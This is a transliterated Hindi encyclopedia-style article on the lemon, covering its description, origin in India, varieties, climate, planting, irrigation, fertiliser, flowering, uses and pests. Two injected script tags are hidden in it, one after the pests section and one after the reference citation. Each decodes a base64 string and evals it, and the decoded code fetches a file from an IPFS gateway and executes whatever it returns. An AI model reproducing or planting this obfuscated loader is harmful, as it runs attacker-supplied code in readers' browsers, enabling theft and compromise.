नीबू

is lekh ka punarikshan evan sampadan hona avashyak hai. ap isamean sahayata kar sakate haian. "sujhav"

vitamin si se bharapoor niboo sphoortidayak aur rog nivarak phal hai. isaka rang pila ya hara tatha svad khatta hota hai. niboo chhota pe d athava saghan jha didar paudha hai. isaki shakhaean kaantedar, pattiyaan chhoti, danthal patala tatha pattidar hota hai. phool ki kali chhoti aur mamooli rangin ya bilkul saphed hoti hai. praroopik niboo gol ya aandakar hota hai. chhilaka patala hota hai, jo goode se bhali bhaanti chipaka rahata hai. pakane par yah pile rang ka ya harapan lie hue hota hai. gooda paandur hara, amliy tatha sugandhit hota hai. kosh rasayukt, suandar evan chamakadar hote haian.

prapti

niboo adhikaanshat: ushnadeshiy bhagoan mean paya jata hai. isaka adisthan sanbhavat: bharat hi hai. yah himalay ki ushn ghatiyoan mean jangali roop mean ugata hua paya jata hai tatha maidanoan mean samudratat se 4,000 phut ki ooanchaee tak paida hota hai.

kism

niboo ki kee kismean hoti haian, jo pray: prakand ke kam mean ati haian, udaharanarth phlorida raf, karana ya khatta niboo, janbiri adi. kagazi niboo, kagazi kalaan, galagal tatha laim silahat hi adhikatar ghareloo upayog mean ate haian. inamean kagazi niboo sabase adhik lokapriy hai. sanh 1953 ki ganana ke anusar bharat mean niboo prajati ke phaloan ke aantargat anumanit kshetr 1,28,068 ek d tha, jisamean 79 pratishat tatha 16.2 pratishat kshetr kramash: santare tatha niboo ke aantargat the. isake utpadan ke sthan madras, banbee, bangal, panjab, madhy pradesh, maharashtr, haidarabad, dilli, patiyala, uttar pradesh, maisoor tatha b dauda haian. thumb|left|250px|niboo ke pe d

jalavayu

niboo ke paudhe ke lie pala atyant hanikarak hai. yah dakshin bharat mean achchhi tarah paida ho sakata hai, kyoanki vahaan ka jalavayu ushn hota hai aur pala tatha shitavayu ka nitaant abhav rahata hai. paudhe vibhinn prakar ki bhoomi mean bhali prakar ugate haian, parantu upajaoo tatha saman banavat ki domat mitti, jo ath phut ki gaharaee tak ek si ho, adarsh samajhi jati hai. sthayi roop se pani ekatrit rahana, athava sadaiv ooanche star tak pani vidyaman rahana, ya jahaan pani ka star ghatata-badhata rahe, aise sthan paudhoan ki vriddhi ke lie anupayukt haian.

ropan

niboo ke paudhe sadharanataya bij tatha gooti se utpann kie jate haian. niyamanusar paudhoan ko 20-20 phut ke aantar par lagana chahie. isake lie 2' x 2' x 2' ke gaddhe upayukt haian. inamean barasat ke thik pahale gobar ki s di huee khad, ya kanpost khad, ek man prati gaddhe ke hisab se dalani chahie. paudhe lagate samay gaddhe ke madhy se tho di mitti hatakar usamean paudha laga dena chahie aur us sthan se nikali huee mitti j d ke charoan or lagakar daba deni chahie. julaee ki varsha ke bad jab mitti achchhi tarah baith jae tabhi paudha lagana chahie. paudhe lagate samay yah bhi dhyan rakhana chahie ki zamin mean inaki gaharaee utani hi rahe jitani rop mean thi. paudhe lagane ke bad tuanrat hi pani de dena chahie. jalavrishti par nirbhar rahane vale kshetroan ke atirikt any kshetroan mean kee bar sianchaee ki avashyakata p dati hai. sianchaee ka pariman jalavrishti ke vitaran evan matra par nirbhar hai. thumb|250px|kachche niboo

sianchaee mean upayukt savadhaniyaan

har sianchaee mean pani itani hi matra mean dena chahie jisase bhoomi mean pani ki ardrata 4-6 pratishat tak vidyaman rahe. sianchaee karane ki sabase upayukt vidhi 'riang' riti hai.
niboo prajati ke sabhi prakar ke phaloan ke lie khad ki koee nishchit matra abhistavit nahian ki ja sakati hai. par sadharan roop se niboo ke lie 40 ser gobar ki khad, ek ser suparaph aausphet tatha adha ser p aauteshiyam salphet paryapt hota hai. gaun tatvoan ki bhi isako avashyakata p dati hai, jinamean mukhy jasta, boron, taanba tatha maianganiz haian.
jahaan par sianchaee ke sadhan haian, vahaan par aantarashasy lagana labhaprad hoga. dakshin bharat tatha asam mean anannas tatha papita niboo ke pe doan ke bich mean lagate haian. inake atirikt tarakariyaan jaise gajar, tamatar, mooli, mirch tatha baiangan adi bhi saralatapoorvak utpann kie ja sakate haian.
niboo prajati ke paudhoan ko siddhaant: kam kat-chhaant ki avashyakata p dati hai. jo kuchh kat chhaant ki bhi jati hai, vah pe doan ki vaanchhaniy akar dene ke lie aur achchhi dasha mean rakhane ke lie ki jati hai.

thumb|left|250px|niboo v shikanji

niboo ke phoolane ka samay

uttari bharat mean sadharanat: phal sal mean do bar ate haian, parantu inake phoolane ka pramukh samay vasant rritu (pharavari-march) hai. isake utpadan ki koee vishvasaniy sankhya prapt nahian hai, kiantu niboo ki vibhinn kismoan ka utpadan prati pe d 150 se 1000 phaloan ke lagabhag hota hai.

upayogita

niboo ki upayogita jivan mean bahut adhik hai. isaka prayog adhikata se bhojy padarthoan mean kiya jata hai. isase vibhinn prakar ke padarth jaise tel, pektin, sitrik aml, ras, skvash tatha sar adi taiyar kie jate haian.

niboo ke rog v hani

niboo ko anek prakar ke rog tatha ki de bhi hani pahuanchate haian. inamean se shalk, niboo kaiankar, saitras red mait, grin mold, mili bag ityadi pramukh haian. <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

lal, avadhobihari “khand 6”, hindi vishvakosh, 1966 (hindi), bharatadiskavari pustakalay: nagari pracharini sabha varanasi, 392-393.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

bahari k diyaan

sanbandhit lekh

varnamala kramanusar lekh khoj

a a i ee u oo e ai o au aan k kh g gh n ch chh j jh n t th d dh n t th d dh n p ph b bh m y r l v sh sh s h ksh tr jn rri rri aau shr aah